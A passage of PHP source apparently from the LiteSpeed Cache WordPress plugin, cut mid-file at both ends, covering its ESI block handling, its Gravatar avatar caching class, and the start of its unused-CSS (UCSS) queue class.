			add_filter('comment_form_defaults', array( $this, 'register_comment_form_actions' ));
		}
	}

	/**
	 * Set an ESI to be combine='sub'
	 *
	 * @since  3.4.2
	 */
	public static function combine( $block_id ) {
		if (!isset($_SERVER['X-LSCACHE']) || strpos($_SERVER['X-LSCACHE'], 'combine') === false) {
			return;
		}

		if (in_array($block_id, self::$_combine_ids)) {
			return;
		}

		self::$_combine_ids[] = $block_id;
	}

	/**
	 * Load combined ESI
	 *
	 * @since  3.4.2
	 */
	public function load_combo() {
		Control::set_nocache('ESI combine request');

		if (empty($_POST['esi_include'])) {
			return;
		}

		self::set_has_esi();

		Debug2::debug('[ESI] 🍔 Load combo', $_POST['esi_include']);

		$output = '';
		foreach ($_POST['esi_include'] as $url) {
			$qs = parse_url(htmlspecialchars_decode($url), PHP_URL_QUERY);
			parse_str($qs, $qs);
			if (empty($qs[self::QS_ACTION])) {
				continue;
			}
			$esi_id       = $qs[self::QS_ACTION];
			$esi_param    = !empty($qs[self::QS_PARAMS]) ? $this->_parse_esi_param($qs[self::QS_PARAMS]) : false;
			$inline_param = apply_filters('litespeed_esi_inline-' . $esi_id, array(), $esi_param); // Returned array need to be [ val, control, tag ]
			if ($inline_param) {
				$output .= self::_build_inline($url, $inline_param);
			}
		}

		echo $output;
	}

	/**
	 * Build a whole inline segment
	 *
	 * @since  3.4.2
	 */
	private static function _build_inline( $url, $inline_param ) {
		if (!$url || empty($inline_param['val']) || empty($inline_param['control']) || empty($inline_param['tag'])) {
			return '';
		}

		$url     = esc_attr($url);
		$control = esc_attr($inline_param['control']);
		$tag     = esc_attr($inline_param['tag']);

		return "<esi:inline name='$url' cache-control='" . $control . "' cache-tag='" . $tag . "'>" . $inline_param['val'] . '</esi:inline>';
	}

	/**
	 * Build the esi url. This method will build the html comment wrapper as well as serialize and encode the parameter array.
	 *
	 * The block_id parameter should contain alphanumeric and '-_' only.
	 *
	 * @since 1.1.3
	 * @access private
	 * @param string $block_id     The id to use to display the correct esi block.
	 * @param string $wrapper      The wrapper for the esi comments.
	 * @param array  $params       The esi parameters.
	 * @param string $control      The cache control attribute if any.
	 * @param bool   $silence      If generate wrapper comment or not
	 * @param bool   $preserved    If this ESI block is used in any filter, need to temporarily convert it to a string to avoid the HTML tag being removed/filtered.
	 * @param bool   $svar         If store the value in memory or not, in memory will be faster
	 * @param array  $inline_param If show the current value for current request( this can avoid multiple esi requests in first time cache generating process )
	 */
	public function sub_esi_block(
		$block_id,
		$wrapper,
		$params = array(),
		$control = 'private,no-vary',
		$silence = false,
		$preserved = false,
		$svar = false,
		$inline_param = array()
	) {
		if (empty($block_id) || !is_array($params) || preg_match('/[^\w-]/', $block_id)) {
			return false;
		}

		if (defined('LITESPEED_ESI_OFF')) {
			Debug2::debug('[ESI] ESI OFF so force loading [block_id] ' . $block_id);
			do_action('litespeed_esi_load-' . $block_id, $params);
			return;
		}

		if ($silence) {
			// Don't add comment to esi block ( original for nonce used in tag property data-nonce='esi_block' )
			$params['_ls_silence'] = true;
		}

		if ($this->cls('REST')->is_rest() || $this->cls('REST')->is_internal_rest()) {
			$params['is_json'] = 1;
		}

		$params  = apply_filters('litespeed_esi_params', $params, $block_id);
		$control = apply_filters('litespeed_esi_control', $control, $block_id);

		if (!is_array($params) || !is_string($control)) {
			defined('LSCWP_LOG') && Debug2::debug("[ESI] 🛑 Sub hooks returned Params: \n" . var_export($params, true) . "\ncache control: \n" . var_export($control, true));

			return false;
		}

		// Build params for URL
		$appended_params = array(
			self::QS_ACTION => $block_id,
		);
		if (!empty($control)) {
			$appended_params['_control'] = $control;
		}
		if ($params) {
			$appended_params[self::QS_PARAMS] = base64_encode(\json_encode($params));
			Debug2::debug2('[ESI] param ', $params);
		}

		// Append hash
		$appended_params['_hash'] = $this->_gen_esi_md5($appended_params);

		/**
		 * Escape potential chars
		 *
		 * @since 2.9.4
		 */
		$appended_params = array_map('urlencode', $appended_params);

		// Generate ESI URL
		$url = add_query_arg($appended_params, trailingslashit(wp_make_link_relative(home_url())));

		$output = '';
		if ($inline_param) {
			$output .= self::_build_inline($url, $inline_param);
		}

		$output .= "<esi:include src='$url'";
		if (!empty($control)) {
			$control = esc_attr($control);
			$output .= " cache-control='$control'";
		}
		if ($svar) {
			$output .= " as-var='1'";
		}
		if (in_array($block_id, self::$_combine_ids)) {
			$output .= " combine='sub'";
		}
		if ($block_id == self::COMBO && isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'combine') !== false) {
			$output .= " combine='main'";
		}
		$output .= ' />';

		if (!$silence) {
			$output = "<!-- lscwp $wrapper -->$output<!-- lscwp $wrapper esi end -->";
		}

		self::debug("💕  [BLock_ID] $block_id \t[wrapper] $wrapper \t\t[Control] $control");
		self::debug2($output);

		self::set_has_esi();

		// Convert to string to avoid html chars filter when using
		// Will reverse the buffer when output in self::finalize()
		if ($preserved) {
			$hash                            = md5($output);
			$this->_esi_preserve_list[$hash] = $output;
			self::debug("Preserved to $hash");

			return $hash;
		}

		return $output;
	}

	/**
	 * Generate ESI hash md5
	 *
	 * @since  2.9.6
	 * @access private
	 */
	private function _gen_esi_md5( $params ) {
		$keys = array( self::QS_ACTION, '_control', self::QS_PARAMS );

		$str = '';
		foreach ($keys as $v) {
			if (isset($params[$v]) && is_string($params[$v])) {
				$str .= $params[$v];
			}
		}
		Debug2::debug2('[ESI] md5_string=' . $str);

		return md5($this->conf(Base::HASH) . $str);
	}

	/**
	 * Parses the request parameters on an ESI request
	 *
	 * @since 1.1.3
	 * @access private
	 */
	private function _parse_esi_param( $qs_params = false ) {
		$req_params = false;
		if ($qs_params) {
			$req_params = $qs_params;
		} elseif (isset($_REQUEST[self::QS_PARAMS])) {
			$req_params = $_REQUEST[self::QS_PARAMS];
		}

		if (!$req_params) {
			return false;
		}

		$unencrypted = base64_decode($req_params);
		if ($unencrypted === false) {
			return false;
		}

		Debug2::debug2('[ESI] params', $unencrypted);
		// $unencoded = urldecode($unencrypted); no need to do this as $_GET is already parsed
		$params = \json_decode($unencrypted, true);

		return $params;
	}

	/**
	 * Select the correct esi output based on the parameters in an ESI request.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public function load_esi_block() {
		/**
		 * Validate if is a legal ESI req
		 *
		 * @since 2.9.6
		 */
		if (empty($_GET['_hash']) || $this->_gen_esi_md5($_GET) != $_GET['_hash']) {
			Debug2::debug('[ESI] ❌ Failed to validate _hash');
			return;
		}

		$params = $this->_parse_esi_param();

		if (defined('LSCWP_LOG')) {
			$logInfo = '[ESI] ⭕ ';
			if (!empty($params[self::PARAM_NAME])) {
				$logInfo .= ' Name: ' . $params[self::PARAM_NAME] . ' ----- ';
			}
			$logInfo .= ' [ID] ' . LSCACHE_IS_ESI;
			Debug2::debug($logInfo);
		}

		if (!empty($params['_ls_silence'])) {
			!defined('LSCACHE_ESI_SILENCE') && define('LSCACHE_ESI_SILENCE', true);
		}

		/**
		 * Buffer needs to be JSON format
		 *
		 * @since  2.9.4
		 */
		if (!empty($params['is_json'])) {
			add_filter('litespeed_is_json', '__return_true');
		}

		Tag::add(rtrim(Tag::TYPE_ESI, '.'));
		Tag::add(Tag::TYPE_ESI . LSCACHE_IS_ESI);

		// Debug2::debug(var_export($params, true ));

		/**
		 * Handle default cache control 'private,no-vary' for sub_esi_block()   @ticket #923505
		 *
		 * @since  2.2.3
		 */
		if (!empty($_GET['_control'])) {
			$control = explode(',', $_GET['_control']);
			if (in_array('private', $control)) {
				Control::set_private();
			}

			if (in_array('no-vary', $control)) {
				Control::set_no_vary();
			}
		}

		do_action('litespeed_esi_load-' . LSCACHE_IS_ESI, $params);
	}

	// The *_sub_* functions are helpers for the sub_* functions.
	// The *_load_* functions are helpers for the load_* functions.

	/**
	 * Loads the default options for default WordPress widgets.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function widget_default_options( $options, $widget ) {
		if (!is_array($options)) {
			return $options;
		}

		$widget_name = get_class($widget);
		switch ($widget_name) {
			case 'WP_Widget_Recent_Posts':
			case 'WP_Widget_Recent_Comments':
            $options[self::WIDGET_O_ESIENABLE] = Base::VAL_OFF;
            $options[self::WIDGET_O_TTL]       = 86400;
				break;
			default:
				break;
		}
		return $options;
	}

	/**
	 * Hooked to the widget_display_callback filter.
	 * If the admin configured the widget to display via esi, this function
	 * will set up the esi request and cancel the widget display.
	 *
	 * @since 1.1.3
	 * @access public
	 * @param array      $instance Parameter used to build the widget.
	 * @param \WP_Widget $widget The widget to build.
	 * @param array      $args Parameter used to build the widget.
	 * @return mixed Return false if display through esi, instance otherwise.
	 */
	public function sub_widget_block( $instance, $widget, $args ) {
		// #210407
		if (!is_array($instance)) {
			return $instance;
		}

		$name = get_class($widget);
		if (!isset($instance[Base::OPTION_NAME])) {
			return $instance;
		}
		$options = $instance[Base::OPTION_NAME];
		if (!isset($options) || !$options[self::WIDGET_O_ESIENABLE]) {
			defined('LSCWP_LOG') && Debug2::debug('ESI 0 ' . $name . ': ' . (!isset($options) ? 'not set' : 'set off'));

			return $instance;
		}

		$esi_private = $options[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2 ? 'private,' : '';

		$params = array(
			self::PARAM_NAME => $name,
			self::PARAM_ID => $widget->id,
			self::PARAM_INSTANCE => $instance,
			self::PARAM_ARGS => $args,
		);

		echo $this->sub_esi_block('widget', 'widget ' . $name, $params, $esi_private . 'no-vary');

		return false;
	}

	/**
	 * Hooked to the wp_footer action.
	 * Sets up the ESI request for the admin bar.
	 *
	 * @access public
	 * @since 1.1.3
	 * @global type $wp_admin_bar
	 */
	public function sub_admin_bar_block() {
		global $wp_admin_bar;

		if (!is_admin_bar_showing() || !is_object($wp_admin_bar)) {
			return;
		}

		// To make each admin bar ESI request different for `Edit` button different link
		$params = array(
			'ref' => $_SERVER['REQUEST_URI'],
		);

		echo $this->sub_esi_block('admin-bar', 'adminbar', $params);
	}

	/**
	 * Parses the esi input parameters and generates the widget for esi display.
	 *
	 * @access public
	 * @since 1.1.3
	 * @global $wp_widget_factory
	 * @param array $params Input parameters needed to correctly display widget
	 */
	public function load_widget_block( $params ) {
		// global $wp_widget_factory;
		// $widget = $wp_widget_factory->widgets[ $params[ self::PARAM_NAME ] ];
		$option = $params[self::PARAM_INSTANCE];
		$option = $option[Base::OPTION_NAME];

		// Since we only reach here via esi, safe to assume setting exists.
		$ttl = $option[self::WIDGET_O_TTL];
		defined('LSCWP_LOG') && Debug2::debug('ESI widget render: name ' . $params[self::PARAM_NAME] . ', id ' . $params[self::PARAM_ID] . ', ttl ' . $ttl);
		if ($ttl == 0) {
			Control::set_nocache('ESI Widget time to live set to 0');
		} else {
			Control::set_custom_ttl($ttl);

			if ($option[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2) {
				Control::set_private();
			}
			Control::set_no_vary();
			Tag::add(Tag::TYPE_WIDGET . $params[self::PARAM_ID]);
		}
		the_widget($params[self::PARAM_NAME], $params[self::PARAM_INSTANCE], $params[self::PARAM_ARGS]);
	}

	/**
	 * Generates the admin bar for esi display.
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function load_admin_bar_block( $params ) {
		global $wp_the_query;

		if (!empty($params['ref'])) {
			$ref_qs = parse_url($params['ref'], PHP_URL_QUERY);
			if (!empty($ref_qs)) {
				parse_str($ref_qs, $ref_qs_arr);

				if (!empty($ref_qs_arr)) {
					foreach ($ref_qs_arr as $k => $v) {
						$_GET[$k] = $v;
					}
				}
			}
		}

		// Needed when permalink structure is "Plain"
		if (!isset($wp_the_query)) {
			wp();
		}

		wp_admin_bar_render();
		if (!$this->conf(Base::O_ESI_CACHE_ADMBAR)) {
			Control::set_nocache('build-in set to not cacheable');
		} else {
			Control::set_private();
			Control::set_no_vary();
		}

		defined('LSCWP_LOG') && Debug2::debug('ESI: adminbar ref: ' . $_SERVER['REQUEST_URI']);
	}

	/**
	 * Parses the esi input parameters and generates the comment form for esi display.
	 *
	 * @access public
	 * @since 1.1.3
	 * @param array $params Input parameters needed to correctly display comment form
	 */
	public function load_comment_form_block( $params ) {
		comment_form($params[self::PARAM_ARGS], $params[self::PARAM_ID]);

		if (!$this->conf(Base::O_ESI_CACHE_COMMFORM)) {
			Control::set_nocache('build-in set to not cacheable');
		} else {
			// by default comment form is public
			if (Vary::has_vary()) {
				Control::set_private();
				Control::set_no_vary();
			}
		}
	}

	/**
	 * Generate nonce for certain action
	 *
	 * @access public
	 * @since 2.6
	 */
	public function load_nonce_block( $params ) {
		$action = $params['action'];

		Debug2::debug('[ESI] load_nonce_block [action] ' . $action);

		// set nonce TTL to half day
		Control::set_custom_ttl(43200);

		if (Router::is_logged_in()) {
			Control::set_private();
		}

		if (function_exists('wp_create_nonce_litespeed_esi')) {
			echo wp_create_nonce_litespeed_esi($action);
		} else {
			echo wp_create_nonce($action);
		}
	}

	/**
	 * Show original shortcode
	 *
	 * @access public
	 * @since 2.8
	 */
	public function load_esi_shortcode( $params ) {
		if (isset($params['ttl'])) {
			if (!$params['ttl']) {
				Control::set_nocache('ESI shortcode att ttl=0');
			} else {
				Control::set_custom_ttl($params['ttl']);
			}
			unset($params['ttl']);
		}

		// Replace to original shortcode
		$shortcode = $params[0];
		$atts_ori  = array();
		foreach ($params as $k => $v) {
			if ($k === 0) {
				continue;
			}

			$atts_ori[] = is_string($k) ? "$k='" . addslashes($v) . "'" : $v;
		}

		Tag::add(Tag::TYPE_ESI . "esi.$shortcode");

		// Output original shortcode final content
		echo do_shortcode("[$shortcode " . implode(' ', $atts_ori) . ' ]');
	}

	/**
	 * Hooked to the comment_form_defaults filter.
	 * Stores the default comment form settings.
	 * If sub_comment_form_block is triggered, the output buffer is cleared and an esi block is added. The remaining comment form is also buffered and cleared.
	 * Else there is no need to make the comment form ESI.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public function register_comment_form_actions( $defaults ) {
		$this->esi_args = $defaults;
		echo GUI::clean_wrapper_begin();
		add_filter('comment_form_submit_button', array( $this, 'sub_comment_form_btn' ), 1000, 2); // To save the params passed in
		add_action('comment_form', array( $this, 'sub_comment_form_block' ), 1000);
		return $defaults;
	}

	/**
	 * Store the args passed in comment_form for the ESI comment param usage in `$this->sub_comment_form_block()`
	 *
	 * @since  3.4
	 * @access public
	 */
	public function sub_comment_form_btn( $unused, $args ) {
		if (empty($args) || empty($this->esi_args)) {
			Debug2::debug('comment form args empty?');
			return $unused;
		}
		$esi_args = array();

		// compare current args with default ones
		foreach ($args as $k => $v) {
			if (!isset($this->esi_args[$k])) {
				$esi_args[$k] = $v;
			} elseif (is_array($v)) {
				$diff = array_diff_assoc($v, $this->esi_args[$k]);
				if (!empty($diff)) {
					$esi_args[$k] = $diff;
				}
			} elseif ($v !== $this->esi_args[$k]) {
				$esi_args[$k] = $v;
			}
		}

		$this->esi_args = $esi_args;

		return $unused;
	}

	/**
	 * Hooked to the comment_form_submit_button filter.
	 *
	 * This method will compare the used comment form args against the default args. The difference will be passed to the esi request.
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function sub_comment_form_block( $post_id ) {
		echo GUI::clean_wrapper_end();
		$params = array(
			self::PARAM_ID => $post_id,
			self::PARAM_ARGS => $this->esi_args,
		);

		echo $this->sub_esi_block('comment-form', 'comment form', $params);
		echo GUI::clean_wrapper_begin();
		add_action('comment_form_after', array( $this, 'comment_form_sub_clean' ));
	}

	/**
	 * Hooked to the comment_form_after action.
	 * Cleans up the remaining comment form output.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public function comment_form_sub_clean() {
		echo GUI::clean_wrapper_end();
	}

	/**
	 * Replace preserved blocks
	 *
	 * @since  2.6
	 * @access public
	 */
	public function finalize( $buffer ) {
		// Prepend combo esi block
		if (self::$_combine_ids) {
			Debug2::debug('[ESI] 🍔 Enabled combo');
			$esi_block = $this->sub_esi_block(self::COMBO, '__COMBINE_MAIN__', array(), 'no-cache', true);
			$buffer    = $esi_block . $buffer;
		}

		// Bypass if no preserved list to be replaced
		if (!$this->_esi_preserve_list) {
			return $buffer;
		}

		$keys = array_keys($this->_esi_preserve_list);

		Debug2::debug('[ESI] replacing preserved blocks', $keys);

		$buffer = str_replace($keys, $this->_esi_preserve_list, $buffer);

		return $buffer;
	}

	/**
	 * Check if the content contains preserved list or not
	 *
	 * @since  3.3
	 */
	public function contain_preserve_esi( $content ) {
		$hit_list = array();
		foreach ($this->_esi_preserve_list as $k => $v) {
			if (strpos($content, '"' . $k . '"') !== false) {
				$hit_list[] = '"' . $k . '"';
			}
			if (strpos($content, "'" . $k . "'") !== false) {
				$hit_list[] = "'" . $k . "'";
			}
		}
		return $hit_list;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/avatar.cls.php000064400000021272151031165260017631 0ustar00<?php
/**
 * The avatar cache class.
 *
 * Caches remote (e.g., Gravatar) avatars locally and rewrites URLs
 * to serve cached copies with a TTL. Supports on-demand generation
 * during page render and batch generation via cron.
 *
 * @since 3.0
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Avatar
 */
class Avatar extends Base {

	const TYPE_GENERATE = 'generate';

	/**
	 * Avatar cache TTL (seconds).
	 *
	 * @var int
	 */
	private $_conf_cache_ttl;

	/**
	 * Avatar DB table name.
	 *
	 * @var string
	 */
	private $_tb;

	/**
	 * In-request map from original URL => rewritten URL to avoid duplicates.
	 *
	 * @var array<string,string>
	 */
	private $_avatar_realtime_gen_dict = array();

	/**
	 * Summary/status data for last requests.
	 *
	 * @var array<string,mixed>
	 */
	protected $_summary;

	/**
	 * Init.
	 *
	 * @since 1.4
	 */
	public function __construct() {
		if ( ! $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) {
			return;
		}

		self::debug2( '[Avatar] init' );

		$this->_tb = $this->cls( 'Data' )->tb( 'avatar' );

		$this->_conf_cache_ttl = $this->conf( self::O_DISCUSS_AVATAR_CACHE_TTL );

		add_filter( 'get_avatar_url', array( $this, 'crawl_avatar' ) );

		$this->_summary = self::get_summary();
	}

	/**
	 * Check whether DB table is needed.
	 *
	 * @since 3.0
	 * @access public
	 * @return bool
	 */
	public function need_db() {
		return (bool) $this->conf( self::O_DISCUSS_AVATAR_CACHE );
	}

	/**
	 * Serve static avatar by md5 (used by local static route).
	 *
	 * @since 3.0
	 * @access public
	 * @param string $md5 MD5 hash of original avatar URL.
	 * @return void
	 */
	public function serve_static( $md5 ) {
		global $wpdb;

		self::debug( '[Avatar] is avatar request' );

		if ( strlen( $md5 ) !== 32 ) {
			self::debug( '[Avatar] wrong md5 ' . $md5 );
			return;
		}

		$url = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT url FROM `' . $this->_tb . '` WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				$md5
			)
		);

		if ( ! $url ) {
			self::debug( '[Avatar] no matched url for md5 ' . $md5 );
			return;
		}

		$url = $this->_generate( $url );

		wp_safe_redirect( $url );
		exit;
	}

	/**
	 * Localize/replace avatar URL with cached one (filter callback).
	 *
	 * @since 3.0
	 * @access public
	 * @param string $url Original avatar URL.
	 * @return string Rewritten/cached avatar URL (or original).
	 */
	public function crawl_avatar( $url ) {
		if ( ! $url ) {
			return $url;
		}

		// Check if already generated in this request.
		if ( ! empty( $this->_avatar_realtime_gen_dict[ $url ] ) ) {
			self::debug2( '[Avatar] already in dict [url] ' . $url );
			return $this->_avatar_realtime_gen_dict[ $url ];
		}

		$realpath = $this->_realpath( $url );
		$mtime    = file_exists( $realpath ) ? filemtime( $realpath ) : false;

		if ( $mtime && time() - $mtime <= $this->_conf_cache_ttl ) {
			self::debug2( '[Avatar] cache file exists [url] ' . $url );
			return $this->_rewrite( $url, $mtime );
		}

		// Only handle gravatar or known remote avatar providers; keep generic check for "gravatar.com".
		if ( strpos( $url, 'gravatar.com' ) === false ) {
			return $url;
		}

		// Throttle generation.
		if ( ! empty( $this->_summary['curr_request'] ) && time() - $this->_summary['curr_request'] < 300 ) {
			self::debug2( '[Avatar] Bypass generating due to interval limit [url] ' . $url );
			return $url;
		}

		// Generate immediately and track for this request.
		$this->_avatar_realtime_gen_dict[ $url ] = $this->_generate( $url );

		return $this->_avatar_realtime_gen_dict[ $url ];
	}

	/**
	 * Count queued avatars (expired ones) for cron.
	 *
	 * @since 3.0
	 * @access public
	 * @return int|false
	 */
	public function queue_count() {
		global $wpdb;

		// If var not exists, means table not exists // todo: not true.
		if ( ! $this->_tb ) {
			return false;
		}

		$cnt = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT COUNT(*) FROM `' . $this->_tb . '` WHERE dateline < %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time() - $this->_conf_cache_ttl
			)
		);

		return (int) $cnt;
	}

	/**
	 * Build final local URL for cached avatar.
	 *
	 * @since 3.0
	 * @param string   $url  Original URL.
	 * @param int|null $time Optional filemtime for cache busting.
	 * @return string Local URL.
	 */
	private function _rewrite( $url, $time = null ) {
		$qs = $time ? '?ver=' . $time : '';
		return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath( $url ) . $qs;
	}

	/**
	 * Generate filesystem realpath for cache file.
	 *
	 * @since 3.0
	 * @access private
	 * @param string $url Original URL.
	 * @return string Absolute filesystem path.
	 */
	private function _realpath( $url ) {
		return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath( $url );
	}

	/**
	 * Get relative filepath for cached avatar.
	 *
	 * @since 4.0
	 * @param string $url Original URL.
	 * @return string Relative path under avatar/ (may include blog id).
	 */
	private function _filepath( $url ) {
		$filename = md5( $url ) . '.jpg';
		if ( is_multisite() ) {
			$filename = get_current_blog_id() . '/' . $filename;
		}
		return $filename;
	}

	/**
	 * Cron generation for expired avatars.
	 *
	 * @since 3.0
	 * @access public
	 * @param bool $force Bypass throttle.
	 * @return void
	 */
	public static function cron( $force = false ) {
		global $wpdb;

		$_instance = self::cls();
		if ( ! $_instance->queue_count() ) {
			self::debug( '[Avatar] no queue' );
			return;
		}

		// For cron, need to check request interval too.
		if ( ! $force ) {
			if ( ! empty( $_instance->_summary['curr_request'] ) && time() - $_instance->_summary['curr_request'] < 300 ) {
				self::debug( '[Avatar] curr_request too close' );
				return;
			}
		}

		$list = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'SELECT url FROM `' . $_instance->_tb . '` WHERE dateline < %d ORDER BY id DESC LIMIT %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time() - $_instance->_conf_cache_ttl,
				(int) apply_filters( 'litespeed_avatar_limit', 30 )
			)
		);
		self::debug( '[Avatar] cron job [count] ' . ( $list ? count( $list ) : 0 ) );

		if ( $list ) {
			foreach ( $list as $v ) {
				self::debug( '[Avatar] cron job [url] ' . $v->url );
				$_instance->_generate( $v->url );
			}
		}
	}

	/**
	 * Download and store the avatar locally, then update DB row.
	 *
	 * @since 3.0
	 * @access private
	 * @param string $url Original avatar URL.
	 * @return string Rewritten local URL (fallback to original on failure).
	 */
	private function _generate( $url ) {
		global $wpdb;

		$file = $this->_realpath( $url );

		// Mark request start
		self::save_summary(
			array(
				'curr_request' => time(),
			)
		);

		// Ensure cache directory exists
		$this->_maybe_mk_cache_folder( 'avatar' );

		$response = wp_safe_remote_get(
			$url,
			array(
				'timeout'  => 180,
				'stream'   => true,
				'filename' => $file,
			)
		);

		self::debug( '[Avatar] _generate [url] ' . $url );

		// Parse response data
		if ( is_wp_error( $response ) ) {
			$error_message = $response->get_error_message();
			if ( file_exists( $file ) ) {
				wp_delete_file( $file );
			}
			self::debug( '[Avatar] failed to get: ' . $error_message );
			return $url;
		}

		// Save summary data
		self::save_summary(
			array(
				'last_spent'   => time() - $this->_summary['curr_request'],
				'last_request' => $this->_summary['curr_request'],
				'curr_request' => 0,
			)
		);

		// Update/insert DB record
		$md5 = md5( $url );

		$existed = $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->prepare(
				'UPDATE `' . $this->_tb . '` SET dateline = %d WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
				time(),
				$md5
			)
		);

		if ( ! $existed ) {
			$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
				$wpdb->prepare(
					'INSERT INTO `' . $this->_tb . '` (url, md5, dateline) VALUES (%s, %s, %d)', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
					$url,
					$md5,
					time()
				)
			);
		}

		self::debug( '[Avatar] saved avatar ' . $file );

		return $this->_rewrite( $url );
	}

	/**
	 * Handle all request actions from main cls.
	 *
	 * @since 3.0
	 * @access public
	 * @return void
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ( $type ) {
			case self::TYPE_GENERATE:
				self::cron( true );
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/ucss.cls.php000064400000034525151031165260017335 0ustar00<?php
// phpcs:ignoreFile

/**
 * The ucss class.
 *
 * @since       5.1
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class UCSS extends Base {

	const LOG_TAG = '[UCSS]';

	const TYPE_GEN     = 'gen';
	const TYPE_CLEAR_Q = 'clear_q';

	protected $_summary;
	private $_ucss_whitelist;
	private $_queue;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct() {
		$this->_summary = self::get_summary();

		add_filter('litespeed_ucss_whitelist', array( $this->cls('Data'), 'load_ucss_whitelist' ));
	}

	/**
	 * Uniform url tag for ucss usage
	 *
	 * @since 4.7
	 */
	public static function get_url_tag( $request_url = false ) {
		$url_tag = $request_url;
		if (is_404()) {
			$url_tag = '404';
		} elseif (apply_filters('litespeed_ucss_per_pagetype', false)) {
			$url_tag = Utility::page_type();
			self::debug('litespeed_ucss_per_pagetype filter altered url to ' . $url_tag);
		}

		return $url_tag;
	}

	/**
	 * Get UCSS path
	 *
	 * @since  4.0
	 */
	public function load( $request_url, $dry_run = false ) {
		// Check UCSS URI excludes
		$ucss_exc = apply_filters('litespeed_ucss_exc', $this->conf(self::O_OPTM_UCSS_EXC));
		if ($ucss_exc && ($hit = Utility::str_hit_array($request_url, $ucss_exc))) {
			self::debug('UCSS bypassed due to UCSS URI Exclude setting: ' . $hit);
			Core::comment('QUIC.cloud UCSS bypassed by setting');
			return false;
		}

		$filepath_prefix = $this->_build_filepath_prefix('ucss');

		$url_tag = self::get_url_tag($request_url);

		$vary     = $this->cls('Vary')->finalize_full_varies();
		$filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ucss');
		if ($filename) {
			$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';

			if (file_exists($static_file)) {
				self::debug2('existing ucss ' . $static_file);
				// Check if is error comment inside only
				$tmp = File::read($static_file);
				if (substr($tmp, 0, 2) == '/*' && substr(trim($tmp), -2) == '*/') {
					self::debug2('existing ucss is error only: ' . $tmp);
					Core::comment('QUIC.cloud UCSS bypassed due to generation error ❌ ' . $filepath_prefix . $filename . '.css');
					return false;
				}

				Core::comment('QUIC.cloud UCSS loaded ✅');

				return $filename . '.css';
			}
		}

		if ($dry_run) {
			return false;
		}

		Core::comment('QUIC.cloud UCSS in queue');

		$uid = get_current_user_id();

		$ua = $this->_get_ua();

		// Store it for cron
		$this->_queue = $this->load_queue('ucss');

		if (count($this->_queue) > 500) {
			self::debug('UCSS Queue is full - 500');
			return false;
		}

		$queue_k                = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag;
		$this->_queue[$queue_k] = array(
			'url' => apply_filters('litespeed_ucss_url', $request_url),
			'user_agent' => substr($ua, 0, 200),
			'is_mobile' => $this->_separate_mobile(),
			'is_webp' => $this->cls('Media')->webp_support() ? 1 : 0,
			'uid' => $uid,
			'vary' => $vary,
			'url_tag' => $url_tag,
		); // Current UA will be used to request
		$this->save_queue('ucss', $this->_queue);
		self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid);

		// Prepare cache tag for later purge
		Tag::add('UCSS.' . md5($queue_k));

		return false;
	}

	/**
	 * Get User Agent
	 *
	 * @since  5.3
	 */
	private function _get_ua() {
		return !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
	}

	/**
	 * Add rows to q
	 *
	 * @since  5.3
	 */
	public function add_to_q( $url_files ) {
		// Store it for cron
		$this->_queue = $this->load_queue('ucss');

		if (count($this->_queue) > 500) {
			self::debug('UCSS Queue is full - 500');
			return false;
		}

		$ua = $this->_get_ua();
		foreach ($url_files as $url_file) {
			$vary        = $url_file['vary'];
			$request_url = $url_file['url'];
			$is_mobile   = $url_file['mobile'];
			$is_webp     = $url_file['webp'];
			$url_tag     = self::get_url_tag($request_url);

			$queue_k = (strlen($vary) > 32 ? md5($vary) : $vary) . ' ' . $url_tag;
			$q       = array(
				'url' => apply_filters('litespeed_ucss_url', $request_url),
				'user_agent' => substr($ua, 0, 200),
				'is_mobile' => $is_mobile,
				'is_webp' => $is_webp,
				'uid' => false,
				'vary' => $vary,
				'url_tag' => $url_tag,
			); // Current UA will be used to request

			self::debug('Added queue_ucss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] false');
